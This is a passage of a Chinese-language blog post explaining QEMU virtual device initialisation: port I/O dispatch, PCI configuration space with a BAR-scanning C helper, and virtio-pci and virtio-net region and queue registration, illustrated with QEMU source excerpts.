class="number">0xff</span>);</span><br><span class="line">            <span class="keyword">if</span> (addr + <span class="number">1</span> &lt; mrp-&gt;offset + mrp-&gt;len) &#123;</span><br><span class="line">                mrp-&gt;write(mrpio-&gt;portio_opaque, mrp-&gt;base + addr + <span class="number">1</span>, data &gt;&gt; <span class="number">8</span>);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>举例</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="type">const</span> MemoryRegionPortio vbe_portio_list[] = &#123;</span><br><span class="line">    &#123; <span class="number">0</span>, <span class="number">1</span>, <span class="number">2</span>, .read = vbe_ioport_read_index, .write = vbe_ioport_write_index &#125;,</span><br><span class="line"><span class="meta"># <span class="keyword">ifdef</span> TARGET_I386</span></span><br><span class="line">    &#123; <span class="number">1</span>, <span class="number">1</span>, <span class="number">2</span>, .read = vbe_ioport_read_data, .write = vbe_ioport_write_data &#125;,</span><br><span class="line"><span class="meta"># <span class="keyword">endif</span></span></span><br><span class="line">    &#123; <span class="number">2</span>, <span class="number">1</span>, <span class="number">2</span>, .read = vbe_ioport_read_data, .write = vbe_ioport_write_data &#125;,</span><br><span class="line">    PORTIO_END_OF_LIST(),</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">vga_init</span><span class="params">(VGACommonState *s, Object *obj, MemoryRegion *address_space,</span></span><br><span class="line"><span class="params">              MemoryRegion *address_space_io, <span class="type">bool</span> init_vga_ports)</span></span><br><span class="line">&#123;</span><br><span class="line">    MemoryRegion *vga_io_memory;</span><br><span class="line">    <span class="type">const</span> MemoryRegionPortio *vga_ports, *vbe_ports;</span><br><span class="line"></span><br><span class="line">    qemu_register_reset(vga_reset, s);</span><br><span class="line"></span><br><span class="line">    s-&gt;bank_offset = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    s-&gt;legacy_address_space = address_space;</span><br><span class="line"></span><br><span class="line">    vga_io_memory = vga_init_io(s, obj, &amp;vga_ports, &amp;vbe_ports);</span><br><span class="line">    memory_region_add_subregion_overlap(address_space,</span><br><span class="line">                                        <span class="number">0x000a0000</span>,</span><br><span class="line">                                        vga_io_memory,</span><br><span class="line">                                        <span class="number">1</span>);</span><br><span class="line">    memory_region_set_coalescing(vga_io_memory);</span><br><span class="line">    <span class="keyword">if</span> (init_vga_ports) &#123;</span><br><span class="line">        portio_list_init(&amp;s-&gt;vga_port_list, obj, vga_ports, s, <span class="string">&quot;vga&quot;</span>);</span><br><span class="line">        portio_list_set_flush_coalesced(&amp;s-&gt;vga_port_list);</span><br><span class="line">        portio_list_add(&amp;s-&gt;vga_port_list, address_space_io, <span class="number">0x3b0</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (vbe_ports) &#123;</span><br><span class="line">        portio_list_init(&amp;s-&gt;vbe_port_list, obj, vbe_ports, s, <span class="string">&quot;vbe&quot;</span>);</span><br><span class="line">        portio_list_add(&amp;s-&gt;vbe_port_list, address_space_io, <span class="number">0x1ce</span>);<span class="comment">// s-&gt;vbe_portio_list 就是全局变量vbe_portio_list, 0x1ce指示了io port起始值.</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>最终, 当读 0x1ce 端口的时候, 就会调用<code>vbe_ioport_read_index</code>函数.</p><blockquote><p>其实在vmware workstation里也可以看到类似的影子, 比如访问vmci设备的时候, 也是有个封装的上层处理函数在分发.</p></blockquote><h1 id="PCI-配置空间"><a href="#PCI-配置空间" class="headerlink" title="PCI 配置空间"></a>PCI 配置空间</h1><p>这里简要介绍下PCI配置空间. 当一个设备加入的时候, 设备管理器要了解这个设备是干什么的, 怎么交互, 就需要读取设备的PCI配置空间. 它结构如下:</p><p><img src="/images/qemu-virtual-device-init/PCI_space.png"></p><blockquote><p> <strong>Vendor ID</strong>：厂商ID。知名的设备厂商的ID。FFFFh是一个非法厂商ID，可它来判断PCI设备是否存在。 </p><p> <strong>Device ID</strong>：设备ID。某厂商生产的设备的ID。操作系统就是凭着 Vendor ID和Device ID 找到对应驱动程序的。 </p><p> <strong>Class Code</strong>：类代码。共三字节，分别是 类代码、子类代码、编程接口。类代码不仅用于区分设备类型，还是编程接口的规范，这就是为什么会有通用驱动程序。 </p><p> <strong>IRQ Line</strong>：IRQ编号。PC机以前是靠两片8259芯片来管理16个硬件中断。现在为了支持对称多处理器，有了APIC（高级可编程中断控制器），它支持管理24个中断。 </p><p> <strong>IRQ Pin</strong>：中断引脚。PCI有4个中断引脚，该寄存器表明该设备连接的是哪个引脚。</p><p><strong>Bars</strong>: 一个有6个bar,  具体的使用看设备本身的实现. 当虚拟机识别到它的时候, 会向该区域写入值, 指示设备的bar用哪部分端口或内存地址.</p></blockquote><p>如何访问配置空间呢？可通过访问<strong>0xCF8h、0xCFCh</strong>端口来实现。</p><p>下面的代码示例了通过遍历所有的bus&#x2F;dev&#x2F;func组合来搜索特定的vid和did的设备的bars.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> PCI_CONFIG_ADDRESS 0xcf8</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> PCI_CONFIG_DATA 0xcfc</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span>  PCI_BASE_ADDRESS_MEM_MASK  (~0x0fUL)</span></span><br><span class="line"></span><br><span class="line">u32 <span class="title function_">retrieveAddress</span><span class="params">(u32 vid, u32 did, u32 *bars)</span> &#123;</span><br><span class="line"></span><br><span class="line">  u32 bus, dev, func;</span><br><span class="line">  u32 dwAddr, dwData;</span><br><span class="line">  <span class="type">int</span> i;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">for</span> (bus = <span class="number">0</span>; bus &lt;= <span class="number">255</span>; bus++)</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">for</span> (dev = <span class="number">0</span>; dev &lt; <span class="number">32</span>; dev++)</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">for</span> (func = <span class="number">0</span>; func &lt; <span class="number">8</span>; func++)</span><br><span class="line">      &#123;</span><br><span class="line">        dwAddr = <span class="number">0x80000000</span> + (bus &lt;&lt; <span class="number">16</span>) + (dev &lt;&lt; <span class="number">11</span>) + (func &lt;&lt; <span class="number">8</span>);</span><br><span class="line">        <span class="comment">/* read vendor id */</span></span><br><span class="line">        outl(dwAddr, PCI_CONFIG_ADDRESS);</span><br><span class="line">        dwData = inl(PCI_CONFIG_DATA);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> ((dwData &amp; <span class="number">0xffff</span>) == vid)&#123;<span class="comment">// vendor id</span></span><br><span class="line">          <span class="keyword">if</span> (((dwData &gt;&gt; <span class="number">16</span>) &amp; <span class="number">0xffff</span>) == did) &#123;<span class="comment">// dev id</span></span><br><span class="line">            <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="number">6</span>; i++) &#123;</span><br><span class="line">              outl(dwAddr | (<span class="number">0x10</span> + i * <span class="number">4</span>), PCI_CONFIG_ADDRESS);<span class="comment">// bar0</span></span><br><span class="line">              dwData = inl(PCI_CONFIG_DATA);</span><br><span class="line">              <span class="keyword">if</span> (dwData &amp; <span class="number">1</span>) &#123;</span><br><span class="line">                dwData ^= <span class="number">1</span>;</span><br><span class="line">              &#125;</span><br><span class="line">              <span class="keyword">else</span> &#123;</span><br><span class="line">                dwData &amp;= PCI_BASE_ADDRESS_MEM_MASK;</span><br><span class="line">              &#125;</span><br><span class="line">              bars[i] = dwData;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> dwAddr;</span><br><span class="line">          &#125;</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><blockquote><p>对于一些现代PCIe设备, 配置空间更大, 就需要使用mmconfig来获取相应的配置信息.</p><p>可以参考<a href="https://blog.csdn.net/yhb1047818384/article/details/106676528">PCI配置空间</a></p></blockquote><h1 id="半虚拟化设备Virtio"><a href="#半虚拟化设备Virtio" class="headerlink" title="半虚拟化设备Virtio"></a>半虚拟化设备Virtio</h1><p>virtio设备分类两种, 一种是legacy, 一种是modern.</p><p>legacy的, 就通过IO port 管理它的配置, modern就通过IO memory 来管理它的配置 </p><p>要了解virtio设备, 还需要了解它的IO配置接口.</p><p>当一个virtio设备开始加载的时候, 会调用 virtio_pci_device_plugged 去初始化它的PCI&#x2F;PCIe 的 IO 空间.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="type">void</span> <span class="title function_">virtio_pci_device_plugged</span><span class="params">(DeviceState *d, Error **errp)</span></span><br><span class="line">&#123;</span><br><span class="line">    ...;</span><br><span class="line">    <span class="keyword">if</span> (modern) &#123;</span><br><span class="line">        virtio_pci_modern_regions_init(proxy, vdev-&gt;name);</span><br><span class="line">        virtio_pci_modern_mem_region_map(proxy, &amp;proxy-&gt;common, &amp;cap);</span><br><span class="line">        virtio_pci_modern_mem_region_map(proxy, &amp;proxy-&gt;isr, &amp;cap);</span><br><span class="line">        virtio_pci_modern_mem_region_map(proxy, &amp;proxy-&gt;device, &amp;cap);</span><br><span class="line">        virtio_pci_modern_mem_region_map(proxy, &amp;proxy-&gt;notify, &amp;notify.cap);</span><br><span class="line">        pci_register_bar(&amp;proxy-&gt;pci_dev, proxy-&gt;modern_mem_bar_idx,</span><br><span class="line">                         PCI_BASE_ADDRESS_SPACE_MEMORY |</span><br><span class="line">                         PCI_BASE_ADDRESS_MEM_PREFETCH |</span><br><span class="line">                         PCI_BASE_ADDRESS_MEM_TYPE_64,</span><br><span class="line">                         &amp;proxy-&gt;modern_bar);</span><br><span class="line">        ...</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (legacy) &#123;</span><br><span class="line">        size = VIRTIO_PCI_REGION_SIZE(&amp;proxy-&gt;pci_dev)</span><br><span class="line">            + virtio_bus_get_vdev_config_len(bus);</span><br><span class="line">        size = pow2ceil(size);</span><br><span class="line"></span><br><span class="line">        memory_region_init_io(&amp;proxy-&gt;bar, OBJECT(proxy),</span><br><span class="line">                              &amp;virtio_pci_config_ops,</span><br><span class="line">                              proxy, <span class="string">&quot;virtio-pci&quot;</span>, size);</span><br><span class="line"></span><br><span class="line">        pci_register_bar(&amp;proxy-&gt;pci_dev, proxy-&gt;legacy_io_bar_idx,</span><br><span class="line">                         PCI_BASE_ADDRESS_SPACE_IO, &amp;proxy-&gt;bar);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">const</span> MemoryRegionOps virtio_pci_config_ops = &#123;</span><br><span class="line">    .read = virtio_pci_config_read,</span><br><span class="line">    .write = virtio_pci_config_write,</span><br><span class="line">    .impl = &#123;</span><br><span class="line">        .min_access_size = <span class="number">1</span>,</span><br><span class="line">        .max_access_size = <span class="number">4</span>,</span><br><span class="line">    &#125;,</span><br><span class="line">    .endianness = DEVICE_LITTLE_ENDIAN,</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">void</span> <span class="title function_">virtio_pci_modern_regions_init</span><span class="params">(VirtIOPCIProxy *proxy,</span></span><br><span class="line"><span class="params">                                           <span class="type">const</span> <span class="type">char</span> *vdev_name)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">static</span> <span class="type">const</span> MemoryRegionOps common_ops = &#123;</span><br><span class="line">        .read = virtio_pci_common_read,</span><br><span class="line">        .write = virtio_pci_common_write,</span><br><span class="line">        .impl = &#123;</span><br><span class="line">            .min_access_size = <span class="number">1</span>,</span><br><span class="line">            .max_access_size = <span class="number">4</span>,</span><br><span class="line">        &#125;,</span><br><span class="line">        .endianness = DEVICE_LITTLE_ENDIAN,</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="type">static</span> <span class="type">const</span> MemoryRegionOps isr_ops = &#123;</span><br><span class="line">        .read = virtio_pci_isr_read,</span><br><span class="line">        .write = virtio_pci_isr_write,</span><br><span class="line">        .impl = &#123;</span><br><span class="line">            .min_access_size = <span class="number">1</span>,</span><br><span class="line">            .max_access_size = <span class="number">4</span>,</span><br><span class="line">        &#125;,</span><br><span class="line">        .endianness = DEVICE_LITTLE_ENDIAN,</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="type">static</span> <span class="type">const</span> MemoryRegionOps device_ops = &#123;</span><br><span class="line">        .read = virtio_pci_device_read,</span><br><span class="line">        .write = virtio_pci_device_write,</span><br><span class="line">        .impl = &#123;</span><br><span class="line">            .min_access_size = <span class="number">1</span>,</span><br><span class="line">            .max_access_size = <span class="number">4</span>,</span><br><span class="line">        &#125;,</span><br><span class="line">        .endianness = DEVICE_LITTLE_ENDIAN,</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="type">static</span> <span class="type">const</span> MemoryRegionOps notify_ops = &#123;</span><br><span class="line">        .read = virtio_pci_notify_read,</span><br><span class="line">        .write = virtio_pci_notify_write,</span><br><span class="line">        .impl = &#123;</span><br><span class="line">            .min_access_size = <span class="number">1</span>,</span><br><span class="line">            .max_access_size = <span class="number">4</span>,</span><br><span class="line">        &#125;,</span><br><span class="line">        .endianness = DEVICE_LITTLE_ENDIAN,</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="type">static</span> <span class="type">const</span> MemoryRegionOps notify_pio_ops = &#123;</span><br><span class="line">        .read = virtio_pci_notify_read,</span><br><span class="line">        .write = virtio_pci_notify_write_pio,</span><br><span class="line">        .impl = &#123;</span><br><span class="line">            .min_access_size = <span class="number">1</span>,</span><br><span class="line">            .max_access_size = <span class="number">4</span>,</span><br><span class="line">        &#125;,</span><br><span class="line">        .endianness = DEVICE_LITTLE_ENDIAN,</span><br><span class="line">    &#125;;</span><br><span class="line">    g_autoptr(GString) name = g_string_new(<span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line">    g_string_printf(name, <span class="string">&quot;virtio-pci-common-%s&quot;</span>, vdev_name);</span><br><span class="line">    memory_region_init_io(&amp;proxy-&gt;common.mr, OBJECT(proxy),</span><br><span class="line">                          &amp;common_ops,</span><br><span class="line">                          proxy,</span><br><span class="line">                          name-&gt;str,</span><br><span class="line">                          proxy-&gt;common.size);</span><br><span class="line"></span><br><span class="line">    g_string_printf(name, <span class="string">&quot;virtio-pci-isr-%s&quot;</span>, vdev_name);</span><br><span class="line">    memory_region_init_io(&amp;proxy-&gt;isr.mr, OBJECT(proxy),</span><br><span class="line">                          &amp;isr_ops,</span><br><span class="line">                          proxy,</span><br><span class="line">                          name-&gt;str,</span><br><span class="line">                          proxy-&gt;isr.size);</span><br><span class="line"></span><br><span class="line">    g_string_printf(name, <span class="string">&quot;virtio-pci-device-%s&quot;</span>, vdev_name);</span><br><span class="line">    memory_region_init_io(&amp;proxy-&gt;device.mr, OBJECT(proxy),</span><br><span class="line">                          &amp;device_ops,</span><br><span class="line">                          proxy,</span><br><span class="line">                          name-&gt;str,</span><br><span class="line">                          proxy-&gt;device.size);</span><br><span class="line"></span><br><span class="line">    g_string_printf(name, <span class="string">&quot;virtio-pci-notify-%s&quot;</span>, vdev_name);</span><br><span class="line">    memory_region_init_io(&amp;proxy-&gt;notify.mr, OBJECT(proxy),</span><br><span class="line">                          &amp;notify_ops,</span><br><span class="line">                          proxy,</span><br><span class="line">                          name-&gt;str,</span><br><span class="line">                          proxy-&gt;notify.size);</span><br><span class="line"></span><br><span class="line">    g_string_printf(name, <span class="string">&quot;virtio-pci-notify-pio-%s&quot;</span>, vdev_name);</span><br><span class="line">    memory_region_init_io(&amp;proxy-&gt;notify_pio.mr, OBJECT(proxy),</span><br><span class="line">                          &amp;notify_pio_ops,</span><br><span class="line">                          proxy,</span><br><span class="line">                          name-&gt;str,</span><br><span class="line">                          proxy-&gt;notify_pio.size);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">void</span> <span class="title function_">virtio_pci_modern_mem_region_map</span><span class="params">(VirtIOPCIProxy *proxy,</span></span><br><span class="line"><span class="params">                                             VirtIOPCIRegion *region,</span></span><br><span class="line"><span class="params">                                             <span class="keyword">struct</span> virtio_pci_cap *cap)</span></span><br><span class="line">&#123;</span><br><span class="line">    virtio_pci_modern_region_map(proxy, region, cap,</span><br><span class="line">                                 &amp;proxy-&gt;modern_bar, proxy-&gt;modern_mem_bar_idx);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">void</span> <span class="title function_">virtio_pci_modern_region_map</span><span class="params">(VirtIOPCIProxy *proxy,</span></span><br><span class="line"><span class="params">                                         VirtIOPCIRegion *region,</span></span><br><span class="line"><span class="params">                                         <span class="keyword">struct</span> virtio_pci_cap *cap,</span></span><br><span class="line"><span class="params">                                         MemoryRegion *mr,</span></span><br><span class="line"><span class="params">                                         <span class="type">uint8_t</span> bar)</span></span><br><span class="line">&#123;</span><br><span class="line">    memory_region_add_subregion(mr, region-&gt;offset, &amp;region-&gt;mr);</span><br><span class="line"></span><br><span class="line">    cap-&gt;cfg_type = region-&gt;type;</span><br><span class="line">    cap-&gt;bar = bar;</span><br><span class="line">    cap-&gt;offset = cpu_to_le32(region-&gt;offset);</span><br><span class="line">    cap-&gt;length = cpu_to_le32(region-&gt;size);</span><br><span class="line">    virtio_pci_add_mem_cap(proxy, cap);</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>上面可以明显看到, 如果是<strong>modern</strong>类型, 就会调用 virtio_pci_modern_regions_init 注册很多个MemoryRegion, 之后调用 virtio_pci_modern_mem_region_map 重新映射到 proxy-&gt;modern_bar 这个region里, 之后是如下的调用</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">pci_register_bar(&amp;proxy-&gt;pci_dev, proxy-&gt;modern_mem_bar_idx,</span><br><span class="line">                         PCI_BASE_ADDRESS_SPACE_MEMORY |</span><br><span class="line">                         PCI_BASE_ADDRESS_MEM_PREFETCH |</span><br><span class="line">                         PCI_BASE_ADDRESS_MEM_TYPE_64,</span><br><span class="line">                         &amp;proxy-&gt;modern_bar);</span><br></pre></td></tr></table></figure><p>把 modern_bar 注册为IO memory.</p><p>而如果是<strong>legacy</strong>类型, 只是注册了一个IO port. 如下所示:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">pci_register_bar(&amp;proxy-&gt;pci_dev, proxy-&gt;legacy_io_bar_idx,</span><br><span class="line">                         PCI_BASE_ADDRESS_SPACE_IO, &amp;proxy-&gt;bar);</span><br></pre></td></tr></table></figure><p>通过访问这些IO, 就可以管理virtio设备.</p><h1 id="Virtio设备的注册"><a href="#Virtio设备的注册" class="headerlink" title="Virtio设备的注册"></a>Virtio设备的注册</h1><p>在qemu中, virtio设备需要挂载在virtio-pci上. 一般来说, virtio设备的特点在于它大部分的实现都在内核, 用户态只需要配置基础的信息即可. 但是qemu本身也实现了一些相关设备的用户态实现, 比如virtio-net, 当启用vhost的时候, 它用户态基本上不做什么操作, 当未启用vhost时, 它的实现就在用户态的virtio-net.c文件中. </p><p>virtio设备主要关注的是它的VirtQueue的注册.</p><p>以 virtio-net 未启用vhost的情况举例</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="type">void</span> <span class="title function_">virtio_net_device_realize</span><span class="params">(DeviceState *dev, Error **errp)</span></span><br><span class="line">&#123;</span><br><span class="line">    ...</span><br><span class="line">    <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; n-&gt;max_queue_pairs; i++) &#123;</span><br><span class="line">        virtio_net_add_queue(n, i);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    n-&gt;ctrl_vq = virtio_add_queue(vdev, <span class="number">64</span>, virtio_net_handle_ctrl);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">void</span> <span class="title function_">virtio_net_add_queue</span><span class="params">(VirtIONet *n, <span class="type">int</span> index)</span></span><br><span class="line">&#123;</span><br><span class="line">    VirtIODevice *vdev = VIRTIO_DEVICE(n);</span><br><span class="line"></span><br><span class="line">    n-&gt;vqs[index].rx_vq = virtio_add_queue(vdev, n-&gt;net_conf.rx_queue_size,</span><br><span class="line">                                           virtio_net_handle_rx);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (n-&gt;net_conf.tx &amp;&amp; !<span class="built_in">strcmp</span>(n-&gt;net_conf.tx, <span class="string">&quot;timer&quot;</span>)) &#123;</span><br><span class="line">        n-&gt;vqs[index].tx_vq =</span><br><span class="line">            virtio_add_queue(vdev, n-&gt;net_conf.tx_queue_size,</span><br><span class="line">                             virtio_net_handle_tx_timer);</span><br><span class="line">        n-&gt;vqs[index].tx_timer = timer_new_ns(QEMU_CLOCK_VIRTUAL,</span><br><span class="line">                                              virtio_net_tx_timer,</span><br><span class="line">                                              &amp;n-&gt;vqs[index]);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        n-&gt;vqs[index].tx_vq =</span><br><span class="line">            virtio_add_queue(vdev, n-&gt;net_conf.tx_queue_size,</span><br><span class="line">                             virtio_net_handle_tx_bh);</span><br><span class="line">        n-&gt;vqs[index].tx_bh = qemu_bh_new(virtio_net_tx_bh, &amp;n-&gt;vqs[index]);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    n-&gt;vqs[index].tx_waiting = <span class="number">0</span>;</span><br><span class="line">    n-&gt;vqs[index].n = n;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">VirtQueue *<span class="title function_">virtio_add_queue</span><span class="params">(VirtIODevice *vdev, <span class="type">int</span> queue_size,</span></span><br><span class="line"><span class="params">                            VirtIOHandleOutput handle_output)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> i;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; VIRTIO_QUEUE_MAX; i++) &#123;</span><br><span class="line">        <span class="keyword">if</span> (vdev-&gt;vq[i].vring.num == <span class="number">0</span>)</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (i == VIRTIO_QUEUE_MAX || queue_size &gt; VIRTQUEUE_MAX_SIZE)</span><br><span class="line">        <span class="built_in">abort</span>();</span><br><span class="line"></span><br><span class="line">    vdev-&gt;vq[i].vring.num = queue_size;</span><br><span class="line">    vdev-&gt;vq[i].vring.num_default = queue_size;</span><br><span class="line">    vdev-&gt;vq[i].vring.align = VIRTIO_PCI_VRING_ALIGN;</span><br><span class="line">    vdev-&gt;vq[i].handle_output = handle_output;</span><br><span class="line">    vdev-&gt;vq[i].handle_aio_output = <span class="literal">NULL</span>;</span><br><span class="line">    vdev-&gt;vq[i].used_elems = g_malloc0(<span 